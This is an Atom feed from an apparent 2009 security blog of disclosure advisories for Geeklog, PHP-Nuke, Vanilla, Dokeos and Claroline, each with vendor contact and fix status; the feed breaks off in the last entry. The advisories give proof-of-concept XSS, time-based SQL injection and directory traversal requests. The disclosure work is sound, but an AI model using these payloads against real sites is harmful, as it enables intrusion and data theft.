<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;C0EDRn08eSp7ImA9WhRRFEk.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992</id><updated>2011-11-28T02:54:37.371+02:00</updated><category term="Advisories" /><title>GSA Security</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://gsasec.blogspot.com/" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>10</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/GsaSecurity" /><feedburner:info uri="gsasecurity" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;D0ABRHczcSp7ImA9WxNTFEQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-6790914581235636642</id><published>2009-07-28T16:01:00.005+03:00</published><updated>2009-08-17T10:55:55.989+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-17T10:55:55.989+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Geeklog v.1.6.0 Cross-Site Scripting</title><content type="html">Author: Gerendi Sandor Attila (http://gsasec.blogspot.com/)&lt;br /&gt;Date: May 05, 2009&lt;br /&gt;Package: Geeklog (1.6.0)&lt;br /&gt;Product Homepage: http://www.geeklog.net/&lt;br /&gt;Versions Affected: v.1.6.0 (Other versions may also be affected)&lt;br /&gt;Severity: Medium&lt;br /&gt;&lt;br /&gt;Input passed to the 'shortmsg' and 'message' POST parameter when posting to '/profiles.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.&lt;br /&gt;&lt;br /&gt;Example 1:&lt;br /&gt;&lt;pre&gt;POST /profiles.php HTTP/1.0&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 151&lt;br /&gt;&lt;br /&gt;what=sendstory&amp;amp;from=x&amp;amp;fromemail=x&amp;amp;to=x&amp;amp;toemail=x&amp;amp;shortmsg=1&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(1234)&amp;lt;/script&amp;gt;&amp;lt;textarea&amp;gt;&amp;amp;sid=welcome&lt;br /&gt;&lt;/pre&gt;will result in:&lt;br /&gt;&lt;pre&gt;&amp;lt;td&amp;gt;&amp;lt;textarea name="shortmsg" rows="8" style="width:100%"&amp;gt;1&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(1234)&amp;lt;/script&amp;gt;&amp;lt;textarea&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Example 2:&lt;pre&gt;POST /profiles.php HTTP/1.0&lt;br /&gt;Accept: */*&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;&lt;br /&gt;what=contact&amp;amp;author=x&amp;amp;authoremail=x&amp;amp;subject=x&amp;amp;message=1&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;amp;uid=2&lt;/pre&gt;will result in:&lt;br /&gt;&lt;pre&gt;&amp;lt;td&amp;gt;&amp;lt;textarea name="message" wrap="physical" rows="10" cols="50"&amp;gt;1&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author at: July 28, 2009 via security email.&lt;br /&gt;2. The author promptly fixed the problem, see at &lt;a href="http://www.geeklog.net/article.php/geeklog-1.6.0sr1"&gt;http://www.geeklog.net/article.php/geeklog-1.6.0sr1&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-6790914581235636642?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7aeG9KN6ehtAuKIQju7HL7hI0hc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7aeG9KN6ehtAuKIQju7HL7hI0hc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7aeG9KN6ehtAuKIQju7HL7hI0hc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7aeG9KN6ehtAuKIQju7HL7hI0hc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/Fg-jWi0OkxE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/6790914581235636642/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/07/geeklog-v160-cross-site-scripting.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/6790914581235636642?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/6790914581235636642?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/Fg-jWi0OkxE/geeklog-v160-cross-site-scripting.html" title="Geeklog v.1.6.0 Cross-Site Scripting" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/07/geeklog-v160-cross-site-scripting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYFQHkyfip7ImA9WxJVFUw.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-3696622553133457070</id><published>2009-05-27T09:35:00.002+03:00</published><updated>2009-07-02T10:01:51.796+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-02T10:01:51.796+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>PHP Nuke v.8.0 (referer) SQL Injection</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: May 14, 2009&lt;br /&gt;Package: PHP-Nuke&lt;br /&gt;Product homepage: &lt;a href="http://phpnuke.org/"&gt;http://phpnuke.org/&lt;/a&gt;&lt;br /&gt;Versions Affected: v.8.0 (Other versions may also be affected)&lt;br /&gt;Severity: High&lt;br /&gt;&lt;br /&gt;The 'referer' header element when requesting the '/main/tracking/userLog.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;&lt;br /&gt;- Sample request:&lt;br /&gt;&lt;pre&gt;GET http://somehost/PHP-Nuke-8.0/index.php HTTP/1.0&lt;br /&gt;Accept: */*&lt;br /&gt;referer: '+IF(False,'',SLEEP(5))+'&lt;/pre&gt;This will result in a query like:&lt;br /&gt;&lt;pre&gt;INSERT INTO nuke_referer VALUES (NULL, ''+IF(False,'',SLEEP(5))+'')&lt;/pre&gt;and the HTTP response will arrive after 5 seconds, replacing the 'False' statement with conditional queries can be used to extract arbitrary data from the database. Also the injection can be used to insert arbitrary data into the 'nuke_referer' table.&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt; 1. Contacted the author at: May 14, 2009 via: http://phpnuke.org/modules.php?name=Feedback&lt;br /&gt; 2. No response received (May 27, 2009)&lt;br /&gt;3. According to Evaders99 this vulnerability was already reported in 2007 (http://secunia.com/advisories/cve_reference/CVE-2007-1061/), thanks for the update. Still the downloadable v.8.0 was vulnerable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-3696622553133457070?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mOccBBoWyAvQHcrcAfzI1Sxs5FE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mOccBBoWyAvQHcrcAfzI1Sxs5FE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mOccBBoWyAvQHcrcAfzI1Sxs5FE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mOccBBoWyAvQHcrcAfzI1Sxs5FE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/KEzMZWRLUPw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/3696622553133457070/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/05/php-nuke-v80-referer-sql-injection.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/3696622553133457070?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/3696622553133457070?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/KEzMZWRLUPw/php-nuke-v80-referer-sql-injection.html" title="PHP Nuke v.8.0 (referer) SQL Injection" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/05/php-nuke-v80-referer-sql-injection.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IFRn87fSp7ImA9WxJRFE8.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-6953787121442270878</id><published>2009-05-15T23:50:00.002+03:00</published><updated>2009-05-16T00:05:17.105+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-16T00:05:17.105+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Vanilla v.1.1.7 Cross-Site Scripting</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: May 14, 2009&lt;br /&gt;Package: Vanilla (1.1.7)&lt;br /&gt;Product Homepage: http://getvanilla.com/&lt;br /&gt;Versions Affected: v.1.1.7, 1.1.5 (Other versions may also be affected)&lt;br /&gt;Severity: Medium&lt;br /&gt;&lt;br /&gt;Input passed to the 'RequestName' header parameter when posting to '/ajax/updatecheck.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;pre&gt;http://somehost/ajax/updatecheck.php?PostBackKey=1&amp;amp;ExtensionKey=1&amp;amp;RequestName=1&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;/pre&gt;will return:&lt;br /&gt;&lt;pre&gt;1&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;|[ERROR]There was a problem authenticating your post information.&lt;/pre&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author at: May 15, 2009 via http://lussumo.com/&lt;br /&gt;2. The author corrected the problem in the same day (&lt;a href="http://lussumo.com/community/discussion/9517/vanilla-v117-crosssite-scripting/#Item_1"&gt;read here&lt;/a&gt;).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-6953787121442270878?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GzH_4PTw0nN7TZzr04Bu4FfMlWU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GzH_4PTw0nN7TZzr04Bu4FfMlWU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GzH_4PTw0nN7TZzr04Bu4FfMlWU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GzH_4PTw0nN7TZzr04Bu4FfMlWU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/rMWskhWShec" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/6953787121442270878/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/05/vanilla-v117-cross-site-scripting.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/6953787121442270878?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/6953787121442270878?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/rMWskhWShec/vanilla-v117-cross-site-scripting.html" title="Vanilla v.1.1.7 Cross-Site Scripting" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/05/vanilla-v117-cross-site-scripting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkUAQn4ycCp7ImA9WxJVFUw.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-7556607543167394468</id><published>2009-05-14T13:37:00.003+03:00</published><updated>2009-07-02T10:04:03.098+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-02T10:04:03.098+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>PHP Nuke v.8.0 Directory Traversal</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: May 04, 2009&lt;br /&gt;Package: PHP-Nuke&lt;br /&gt;Product homepage: http://phpnuke.org/&lt;br /&gt;Versions Affected: v.8.0 (Other versions may also be affected)&lt;br /&gt;Severity: High&lt;br /&gt;&lt;br /&gt;The cookie parameter "lang" in "/modules.php" is vulnerable to directory traversal attacks and possibly to arbitrary code inclusion/execution.&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;In the mainfile.php we have (lines 3316-333):&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;if (isset($newlang) AND !stripos_clone($newlang,".")) {&lt;br /&gt;  if (file_exists("language/lang-".$newlang.".php")) {&lt;br /&gt;      setcookie("lang",$newlang,time()+31536000);&lt;br /&gt;      include_once("language/lang-".$newlang.".php");&lt;br /&gt;      $currentlang = $newlang;&lt;br /&gt;  } else {&lt;br /&gt;      setcookie("lang",$language,time()+31536000);&lt;br /&gt;      include_once("language/lang-".$language.".php");&lt;br /&gt;      $currentlang = $language;&lt;br /&gt;  }&lt;br /&gt;} elseif (isset($lang)) {&lt;br /&gt;  include_once("language/lang-".$lang.".php");&lt;br /&gt;  $currentlang = $lang;&lt;br /&gt;} else {&lt;br /&gt;  setcookie("lang",$language,time()+31536000);&lt;br /&gt;  include_once("language/lang-".$language.".php");&lt;br /&gt;  $currentlang = $language;&lt;br /&gt;}&lt;/pre&gt;now look at this statement: include_once("language/lang-".$lang.".php"); on Windows we can use as base for directory manipulation nonexistent file names. So assume we have c:\somefile.php and our web server is also installed somewhere on c:\, inserting something like:&lt;br /&gt;&lt;pre&gt;/../../../../../../../../../somefile.php&lt;/pre&gt;will result in:&lt;br /&gt;&lt;pre&gt;include_once('language/lang-/../../../../../../../../../somefile.php');&lt;br /&gt;&lt;/pre&gt;and the file will be included correctly.&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt;  1. Contacted the author at: May 04, 2009 via: &lt;a href="http://phpnuke.org/modules.php?name=Feedback"&gt;http://phpnuke.org/modules.php?name=Feedback&lt;/a&gt;&lt;br /&gt;  2. No response where given (May 14 2009).&lt;br /&gt;3. According to Evaders99 this vulnerability was already reported in 2007 (http://secunia.com/advisories/24484/), thanks for the update. Still the downloadable v.8.0 was vulnerable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-7556607543167394468?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WhKlgYXGPNkfZVkKh_l-GYyGqnI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WhKlgYXGPNkfZVkKh_l-GYyGqnI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WhKlgYXGPNkfZVkKh_l-GYyGqnI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WhKlgYXGPNkfZVkKh_l-GYyGqnI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/y0dFfoTGwuI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/7556607543167394468/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/05/php-nuke-v80-directory-traversal_14.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/7556607543167394468?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/7556607543167394468?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/y0dFfoTGwuI/php-nuke-v80-directory-traversal_14.html" title="PHP Nuke v.8.0 Directory Traversal" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/05/php-nuke-v80-directory-traversal_14.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDRXk-eCp7ImA9WxJREkQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-8007984562152609015</id><published>2009-05-13T12:16:00.010+03:00</published><updated>2009-05-14T13:54:34.750+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-14T13:54:34.750+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Dokeos Free v.1.8.5 Multiple Vulnerabilities</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: April 24, 2009&lt;br /&gt;Package: Dokeos Free 1.8.5 Valparais&lt;br /&gt;Product homepage: http://www.dokeos.com/&lt;br /&gt;Versions Affected: v.1.8.5 (Other versions may also be affected)&lt;br /&gt;Severity: High&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SQL Injection:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. The 'uInfo' parameter from /main/tracking/userLog.php is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.&lt;br /&gt;&lt;br /&gt;Requires magic_quotes_gpc=OFF, but as you can see here: http://www.php.net/magic_quotes, relying on magic_quotes_gpc=ON feature is highly discouraged .&lt;br /&gt;&lt;br /&gt;Proof of concept custom request (SLEEP only works with mySQL &gt; 5.0, but there are many another examples):&lt;br /&gt;&lt;pre name="code" class="html:nocontrols:firstline[10]"&gt;http://somehost/main/tracking/userLog.php?uInfo=1'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,SLEEP(30)%23&lt;/pre&gt;this request will 'hang' for 30 seconds.&lt;br /&gt;&lt;br /&gt;The resulting query will be:&lt;br /&gt;&lt;pre&gt;SELECT * FROM `wa_dokeos_1_8_5_dokeos_main`.`user` WHERE `user_id` = '1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,SLEEP(30)#'&lt;/pre&gt;executed from get_user_info_from_id.&lt;br /&gt;&lt;br /&gt;2. The 'course' parameter from /main/mySpace/lp_tracking.php is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Exploitation of this is similar with the vulnerability at point 1.&lt;br /&gt;We can also build more complicated injections which will allow us to extract arbitrary data from the database using the true/false condition based sequential extraction mechanism.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;XSS (Cross-Site Scripting):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. The 'curdirpath' parameter from /main/document/slideshow.php is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.&lt;br /&gt;&lt;pre&gt;http://somehost/main/document/slideshow.php?curdirpath=1&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;/pre&gt;2. The 'file' parameter from /main/exercice/testheaderpage.php is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.&lt;br /&gt;&lt;pre&gt;http://somehost/main/exercice/testheaderpage.php?file=1&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Possible directory traversal ineffective sanitation :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the 'hotspot_lang_conversion.php' file we have for sanitation the $_GET['lang']:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$search = array('../','\\0');&lt;br /&gt;$lang = str_replace($search,'',urldecode($_GET['lang']));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The sanitation is weak here, on windows /../../../ working as well as ..\..\..\..\..\ and the  str_replace does not behave well in this situation to remove the NULL character injected from the url request. On windows a query like this will pass the sanitation:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;http://somehost/main/exercice/hotspot_lang_conversion.php?lang=..\..\..\..\..\..\..\todo.txt&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Directory traversal:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1.Input passed to the "doc_url" parameter in "/main/exercice/Hpdownload.php" isn't properly verified, before it is used to include files. This can be exploited to read arbitrary files from local resources.&lt;br /&gt;&lt;pre&gt;http://somehost/main/exercice/Hpdownload.php?doc_url=..\..\..\..\..\..\..\todo.txt&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;STATUS:&lt;br /&gt;&lt;/span&gt;1. Contacted the author at Aprl 29, 2009 via email.&lt;br /&gt;2. The author released a patch &lt;a href="http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8"&gt;(read here&lt;/a&gt;).&lt;br /&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-8007984562152609015?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7jc3BkKqtAgEZMEJoxBiqrabE3I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7jc3BkKqtAgEZMEJoxBiqrabE3I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7jc3BkKqtAgEZMEJoxBiqrabE3I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7jc3BkKqtAgEZMEJoxBiqrabE3I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/7omJL6hIMOU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/8007984562152609015/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/05/dokeos-free-185-multiple.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/8007984562152609015?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/8007984562152609015?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/7omJL6hIMOU/dokeos-free-185-multiple.html" title="Dokeos Free v.1.8.5 Multiple Vulnerabilities" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/05/dokeos-free-185-multiple.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDRXk-eCp7ImA9WxJREkQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-5856706239150154780</id><published>2009-05-12T11:38:00.008+03:00</published><updated>2009-05-14T13:54:34.750+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-14T13:54:34.750+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Claroline v.1.8.11 SQL Injection</title><content type="html">Author: Gerendi Sandor Attila (http://gsasec.blogspot.com/)&lt;br /&gt;Date: May 05, 2009&lt;br /&gt;Package: Claroline (1.8.11)&lt;br /&gt;Product Homepage: http://www.claroline.net/&lt;br /&gt;Versions Affected: v.1.8.11 (Other versions may also be affected)&lt;br /&gt;Severity: High&lt;br /&gt;&lt;br /&gt;The 'sort' parameter from '/claroline/group/group.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.&lt;br /&gt;&lt;br /&gt;Example, the request:&lt;br /&gt;&lt;pre&gt;http://somehost/claroline/group/group.php?cidReq=TEST1&amp;amp;sort=IF(FALSE,1,SLEEP(10))&amp;amp;dir=3&lt;/pre&gt;will generate the flowing SQL query:&lt;br /&gt;&lt;pre&gt;      SELECT * FROM `c_TEST1_group_team` `g`&lt;br /&gt;&lt;br /&gt;  # retrieve the tutor id&lt;br /&gt;  LEFT JOIN  `claroline_1_8_11`.`cl_user` AS `tutor`&lt;br /&gt;  ON `tutor`.`user_id` = `g`.`tutor`&lt;br /&gt;&lt;br /&gt;  # retrieve the user group(s)&lt;br /&gt;  LEFT JOIN `c_TEST1_group_rel_team_user` AS `ug`&lt;br /&gt;  ON `ug`.`team` = `g`.`id` AND `ug`.`user` = 0&lt;br /&gt;&lt;br /&gt;  # count the registered users in each group&lt;br /&gt;  LEFT JOIN `c_TEST1_group_rel_team_user` `ug2`&lt;br /&gt;  ON `ug2`.`team` = `g`.`id`&lt;br /&gt;&lt;br /&gt;  GROUP BY `g`.`id`&lt;br /&gt;  ORDER BY IF(FALSE,1,SLEEP(10)) DESC LIMIT 0, 20&lt;/pre&gt;This query will lag about 10 seconds. Replacing the FALSE element (from IF(FALSE,1,SLEEP(10))) with conditional queries may be used to extract arbitrary data from the database.&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author at: May 07, 2009 via http://forum.claroline.net/.&lt;br /&gt;2. The author fixed the problem, read at: &lt;a href="http://forum.claroline.net/viewtopic.php?f=69&amp;amp;t=16200#p42155"&gt;Re: Claroline v.1.8.11 SQL Injection&lt;/a&gt;&lt;br /&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-5856706239150154780?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rKhB-czla-dFdZ6nXFO09-O6wt0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rKhB-czla-dFdZ6nXFO09-O6wt0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
